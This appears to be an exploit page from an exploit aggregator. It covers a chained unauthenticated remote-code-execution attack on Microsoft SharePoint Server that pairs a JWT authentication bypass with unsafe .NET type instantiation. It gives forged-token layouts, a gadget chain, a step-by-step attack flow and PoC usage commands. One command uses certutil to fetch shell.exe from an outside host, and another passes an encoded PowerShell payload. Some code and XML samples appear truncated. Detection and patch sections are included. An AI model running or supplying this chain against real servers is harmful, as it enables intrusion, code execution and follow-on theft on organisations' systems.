## https://sploitus.com/exploit?id=4D1BE363-43B4-56DA-8006-8C13D5CA09D8
# CVE-2026-63520 Sharepoint unsafe type RCE + CVE-2026-55040 chain
Unauthenticated RCE on Microsoft SharePoint Server. No credentials needed.
Stephen Fewer (Rapid7) demonstrated CVE-2026-55040 at Pwn2Own Berlin 2026. Rapid7 then discovered CVE-2026-63520 during follow-up research, and VulnCheck independently found an alternative gadget chain. Together, these two bugs give you unauthenticated remote code execution against any unpatched SharePoint on the internet.
CISA issued alerts within hours of the PoC dropping. It's being exploited in the wild.
## What it does
Two bugs, one chain:
| CVE | Type | CVSS | What breaks |
|-----|------|------|-------------|
| CVE-2026-55040 | JWT Authentication Bypass | 9.1 | SharePoint's S2S token validation has four independent weaknesses. Chain them and you forge a valid JWT for any user - including site admins - without knowing their password. |
| CVE-2026-63520 | Unsafe .NET Type Instantiation → RCE | 8.1 | Business Data Connectivity (BDC) resolves arbitrary .NET type names from uploaded XML without any allowlist. Point it at `ObjectDataProvider` and you get `Process.Start()`. |
Neither bug is interesting alone. CVE-2026-63520 requires authentication. CVE-2026-55040 gives you authentication. Together: unauthenticated RCE as the SharePoint service account.
## Bug 1: The JWT bypass (CVE-2026-55040)
SharePoint uses nested JWTs for server-to-server (S2S) auth. An outer token carries the user identity, an inner "actor token" represents the calling application. Four weaknesses in `SPJsonWebSecurityTokenHandlerV2.ValidateToken()` make the whole thing collapse:
**Weakness 1 - Signature verification is off.** The validator sets `RequireSignedTokens = false`. The outer token accepts `alg: none`. No signature needed.
**Weakness 2 - x5t resolution without verification.** The actor token's signing key is resolved by looking up the `x5t` (certificate thumbprint) header in the certificate store. SharePoint never checks whether the actor token's signature actually matches that key.
**Weakness 3 - Issuer validation accepts unknown certs.** `ValidateIssuer()` passes if the signing certificate isn't in the `TrustedSecurityTokenServices` collection. SharePoint's own STS cert isn't registered there. So referencing it via `x5t` passes issuer validation unconditionally.
**Weakness 4 - Non-cryptographic signature check.** `GetTokenSignature()` requires a non-empty string but does zero cryptographic validation. Any value works. `AAAA` works.
The STS certificate is public. You grab it from `/_layouts/15/metadata/json/1` - an unauthenticated endpoint - compute the SHA-1 thumbprint, and you have everything you need.
### What the forged token looks like
**Outer token** (carries user identity):
```json
// Header
{"alg": "none", "typ": "JWT"}
// Payload
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@",
"iss": "00000003-0000-0ff1-ce00-000000000000@",
"nameid": "",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": ""
}
// Signature: empty (alg:none)
```
**Inner actor token** (represents the "application"):
```json
// Header
{"alg": "RS256", "typ": "JWT", "x5t": ""}
// Payload
{
"iss": "00000003-0000-0ff1-ce00-000000000000@",
"nameid": "00000003-0000-0ff1-ce00-000000000000@",
"nbf": 1756000000,
"exp": 1756003600
}
// Signature: "AAAA" (literally anything non-empty)
```
Three ways to pick an identity:
| Mode | `nameid` | `nii` | What you need |
|------|----------|-------|---------------|
| SID | `S-1-5-21-...-1605` | `urn:office:idp:activedirectory` | Domain SID (via SMB null session) + RID brute |
| UPN | `upn_bypass` + `upn` claim | `urn:office:idp:activedirectory` | A valid UPN (e.g. `administrator@corp.local`) |
| AccessToken | `0#.w\|nt authority\local service` | `AccessToken` | Nothing. Limited access but enough for some chains. |
## Bug 2: The RCE (CVE-2026-63520)
SharePoint's Business Data Connectivity service lets admins define external data sources through BDC Model XML files (`.bdcm`). These models specify .NET types that BDC instantiates at runtime.
The problem is in `DbTypeReflector.ResolveDotNetType()`:
```csharp
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length "
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ property setter triggers QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
```
The BDCM XML that carries this:
```xml
Start
cmd.exe
/c whoami
```
VulnCheck documented an alternative chain using `System.Web.UI.LosFormatter` with `TypeConfuseDelegate` deserialization via a DotNetAssembly LobSystem. Multiple gadgets work - the underlying primitive is unrestricted type instantiation.
## Full attack flow
```
Attacker SharePoint Server
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── STS cert (x5t + realm) ─────────│ (unauthenticated)
│ │
│── SMB null session to DC ──────────────▶ Domain Controller
│◀── domain SID ────────────────────────│
│ │
│── Forge JWT (alg:none + AAAA sig) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: authed as admin
│ │
│── POST /_api/web/lists ────────────▶│ create BDC catalog
│── POST .../Files/add(evil.bdcm) ──▶│ upload gadget chain
│── POST /_vti_bin/client.svc/ ──────▶│ trigger ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c
│ │ → runs as SP service account
```
Six steps:
1. **Grab the STS cert.** Hit `/_layouts/15/metadata/json/1`. No auth needed. Extract the X.509 cert from `keys[0].keyValue.value`, SHA-1 hash it, base64url-encode. That's your `x5t`. The `issuer` field gives you the `realm`.
2. **Find a site admin.** SMB null session to the domain controller, LSARPC `LsarQueryInformationPolicy` to get the domain SID, then iterate RIDs (500, 1000-10000) forging a JWT for each until `/_api/web/currentuser` returns `IsSiteAdmin: true`. Or just supply a known UPN.
3. **Forge the JWT.** Outer: `alg:none`, nameid = admin SID, actortoken = inner JWT. Inner: `alg:RS256`, `x5t` = STS thumbprint, signature = `AAAA`. Base64url-encode, concatenate with dots. Done.
4. **Get a form digest.** `POST /_api/contextinfo` with the forged Bearer token. SharePoint hands you a `FormDigestValue` for write operations.
5. **Upload the BDCM.** Create a `BusinessDataMetadataCatalog` library, upload the malicious `.bdcm` XML containing the ObjectDataProvider gadget chain.
6. **Pull the trigger.** `POST /_vti_bin/client.svc/ProcessQuery` with a request that resolves the BDC entity. SharePoint instantiates the types from the BDCM, sets properties via reflection, and `ObjectDataProvider` fires `Process.Start()`. Code runs as the SharePoint service account.
## Affected versions
| Product | Vulnerable below | Patch | KB |
|---------|-----------------|-------|-----|
| SharePoint Server Subscription Edition | 16.0.19725.20522 | August 2026 CU | KB5002893 |
| SharePoint Server 2019 | 16.0.10417.20198 | August 2026 SU | - |
| SharePoint Enterprise Server 2016 | 16.0.5565.1001 | August 2026 SU | - |
The August 2026 cumulative update adds `ValidateSafeBcsType()` to restrict which .NET types BDC can instantiate. The JWT fix adds proper signature verification and registers the STS cert in the trusted token services collection.
SharePoint 2016 mainstream support ended in 2026. Organizations without Extended Support may not receive the fix.
## Running it
Install dependencies:
```bash
pip install requests
pip install impacket # only needed for --domain-ip auto-SID discovery
```
### Auto-discover everything (needs DC access for SID)
```bash
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "cmd.exe /c whoami > C:\Windows\Temp\pwned.txt"
```
The script will:
- Pull `x5t` and `realm` from STS metadata
- Grab the domain SID via SMB null session
- Iterate RIDs until it finds a site admin
- Forge a JWT, get a digest, upload the BDCM, trigger RCE
### With a known UPN (no SMB needed)
```bash
python3 poc.py \
--target sharepoint.corp.local \
--upn administrator@corp.local \
--cmd "powershell -enc JABjAD0ATgBlAHcALQBPAGIA..."
```
### With a known SID
```bash
python3 poc.py \
--target 10.0.0.50 \
--sid S-1-5-21-4203888158-2793536450-3921675298-500 \
--cmd "certutil -urlcache -split -f http://10.0.0.100/shell.exe C:\Windows\Temp\shell.exe"
```
### Auto-discover UPN from TLS cert
```bash
python3 poc.py \
--target 10.0.0.50 \
--auto-upn \
--username administrator \
--cmd "calc.exe"
```
### Auth bypass check only (no RCE)
```bash
python3 poc.py \
--target 192.168.1.10 \
--domain-ip 192.168.1.5 \
--cmd "dummy" \
--check-only
```
You want to see `Authenticated as: SHAREPOINT\system (System Account) [SITE ADMIN]`. That confirms the JWT bypass works and you have admin-level access.
### Non-standard port
```bash
python3 poc.py \
--target 10.0.0.50 \
--port 8443 \
--upn admin@corp.local \
--cmd "whoami"
```
## Detection
Things to look for:
- **JWTs with `alg: none`** hitting SharePoint endpoints. Legitimate S2S tokens always use RS256.
- **Requests to `/_layouts/15/metadata/json/1`** followed by authenticated API calls from the same source IP. The metadata endpoint is public, but reconnaissance followed by admin-level access is suspicious.
- **New `.bdcm` files** appearing in `BusinessDataMetadataCatalog`. Most SharePoint deployments don't use BDC at all. Any BDCM upload is worth investigating.
- **`ProcessQuery` requests** referencing unknown BDC entities, especially with `ObjectDataProvider` or `LosFormatter` in the entity type names.
- **Process spawning** from `w3wp.exe` (SharePoint application pool). `cmd.exe`, `powershell.exe`, `certutil.exe` as children of the worker process are classic indicators.
## References
- [VulnCheck - Exploiting SharePoint: CVE-2026-55040 and CVE-2026-63520 RCE Chain](https://www.vulncheck.com/blog/cve-2026-63520-sharepoint-unsafe-type-rce)
- [Rapid7 - Technical Analysis of CVE-2026-63520](https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-remote-code-execution-cve-2026-63520/)
- [Rapid7 - Technical Analysis of CVE-2026-55040](https://www.rapid7.com/blog/post/ra-microsoft-sharepoint-jwt-token-authentication-bypass-cve-2026-55040/)
- [Rapid7 - CVE-2026-55040 Disclosure](https://www.rapid7.com/blog/post/ve-cve-2026-55040-microsoft-sharepoint-jwt-token-authentication-bypass-fixed/)
- [Rapid7 - CVE-2026-63520 Disclosure](https://www.rapid7.com/blog/post/etr-cve-2026-63520-microsoft-sharepoint-remote-code-execution-fixed/)
- [sfewer-r7/CVE-2026-55040 (PoC)](https://github.com/sfewer-r7/CVE-2026-55040)
- [Previdian - CVE-2026-55040](https://previdian.com/CVE-2026-55040)
- [Microsoft Advisory - CVE-2026-55040](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040)
- [Microsoft Advisory - CVE-2026-63520](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-63520)
## Legal
For authorized security testing only. Get written permission before running this against anything you don't own.